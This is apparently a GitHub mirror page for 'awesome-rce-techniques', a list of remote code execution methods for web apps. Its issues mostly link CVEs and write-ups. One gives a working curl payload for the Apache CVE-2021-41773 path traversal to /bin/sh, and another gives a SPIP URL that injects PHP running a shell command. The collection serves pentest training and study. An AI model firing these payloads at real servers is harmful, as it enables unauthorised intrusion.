Light

p0dalirius / awesome-rce-techniques Goto Github PK

View Code? Open in Web Editor NEW

1.8K 42.0 209.0 12.69 MB

Awesome list of step by step techniques to achieve Remote Code Execution on various apps!

Home Page: https://podalirius.net/

Dockerfile 50.99% Makefile 31.04% PHP 17.97%

rce framework awesome-list code execution exploit bugbounty cms

awesome-rce-techniques's Introduction

Awesome RCE techniques

Awesome list of techniques to achieve Remote Code Execution (RCE) on various apps!

Goal of this project

The goal of this project is to provide an OpenSource knowledge database of all the techniques to achieve Remote Code Execution (RCE) on various applications. All of these techniques also comes with a test environnement (usually a Docker image) for you to train these techniques.

Techniques

Work in progress

These techniques are a work in progress. You can help us finish them by opening a pull request!

Troubleshooting

Report all the issues on https://github.com/p0dalirius/Awesome-RCE-techniques/issues.

Contributors

Pull requests are welcome. Feel free to open an issue if you want to add other Remote Code Execution (RCE) techniques.

awesome-rce-techniques's People

Contributors

Stargazers

Watchers

Forkers

attacker-codeninja gmh5225 xcod3 rhankare jedigh0st burak40 bbhunter icmpoff ilyastaoussi mortals-tx crackercat amrayoub araiaan ic32k actorexpose jayaram-yalla bug-tools qianniaoge ninad1431 c002 haraprasadghosh mgoodwin-bf echizen92 pondim 482949203 wisdark fawadkhanfk 1n1t6sh3ll rayiik tarunaryan1010 yalonso7 infrastrukt manhcot dutchcyberguy w3llr00t3d shuai19980 polling-repo-continua tommalvoriddle quangnv97 0xsojalsec amit-pathak009 iamashishexe bitbob-cmd 419066074 afwu bugbountydude fxpgunz sravan474 sythenv kingofthebeat antondellua jimsonzhang j3eyond kact929 bb33bb bravery9 zzhsec gh0stz1 startagain2016 changheluor007 m0ge srand2 tsymbal-code gdraperi bhautiknasit osamahamad rockcena encryptor-sec pankajmouriya 0xmaruf gotlostinparadise suriyaruk c-fire nusiloot quikilr rayhan0x01 3as0n hev0x slooppe productinfo dc3l1ne wlayzz maadhavowlak vishal9066 sonpt-afk two-tong 30579096 x0rr-dan sirwomble akashkoiri wale-adeleke vis-pentest konvictt77 hunt2behunter orgyia fengjixuchui curtishoughton chanpu9 alvin-tosh thebasshound

awesome-rce-techniques's Issues

[add-request] CVE-2021-41773 - Apache2 Path Trasversal (.%2e) to RCE through /cgi-bin/

Adding rce technique on apache2, payload:
curl "http://url.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh" --data 'echo Content-Type: text/plain; echo; mkdir /tmp/poda/'

[add-request] Add phpPgAdmin 7.13.0 - COPY FROM PROGRAM Command Execution (Authenticated)

phpPgAdmin 7.13.0 - COPY FROM PROGRAM Command Execution (Authenticated)

https://www.exploit-db.com/exploits/49736

[add-request] Add Webmin-CVE-2022-0824 RCE

Hi @p0dalirius, mind to add Webmin-CVE-2022-0824 authenticated RCE.. This exploit could be done by any less privileged authenticated attacker. Thanks!

Reference:
https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell

[enhancement] Add PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution

References

[enhancement]: Add phpPgAdmin 7.13.0 - COPY FROM PROGRAM Command Execution (Authenticated)

[add-request] Add VMware Workspace One Access (ENG) CVE-2022-31659

https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd

[Enhancement]: Add RocketChat RCE from integrations

Hi Podalirus👋

I would like to suggest another RCE technique for RocketChat, as presented in the following writeup, of HTB CTF DirtyMoney:
https://cristi075.github.io/HTB-Business-CTF-2021-Rocket-writeup

N.B.:https://www.exploit-db.com/exploits/49960

Cheers,
Clem

[add-request] Add GitLab CVE-2022-2185 - Remote Command Execution via Project Imports

[add-request] Framework - RCE on Jolokia

References

[add-request] GitLab RCE via WikiCloth markdown rendering if the `rubyluabridge` gem is installed

Add GitLab RCE via WikiCloth markdown rendering if the rubyluabridge gem is installed

[add-request] Adding werzeug /console rce

If Werkzeug console is enabled rce is possible on host, sometimes the werkzeug is protecting by a PIN code that can be reconstructed.
Ressources:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
https://github.com/wdahlenburg/werkzeug-debug-console-bypass

[add-request] CMS - Add Drupal 7.x - Services module unserialize() to RCE

[add-request] CVE-2022-35405 Zoho Password Manager Pro XML-RPC RCE

https://xz.aliyun.com/t/11578

[add-request] CMS - RCE on Spip

References

https://www.example.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C?php%20echo%20fread(popen(%22id%22,%20%22r%22),%20300);?%3E

[add-request] CVE-2022-2884 - GitLab Remote Command Execution via Github import

A vulnerability in GitLab CE/EE affecting all versions starting from 11.3.4 before 15.1.5, all versions starting from 15.2 before 15.2.3, all versions starting from 15.3 before 15.3.1 allows an an authenticated user to achieve remote code execution via the Import from GitHub API endpoint. This is a Critical severity issue (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 9.9). It is now mitigated in the latest release and is assigned CVE-2022-2884.

https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.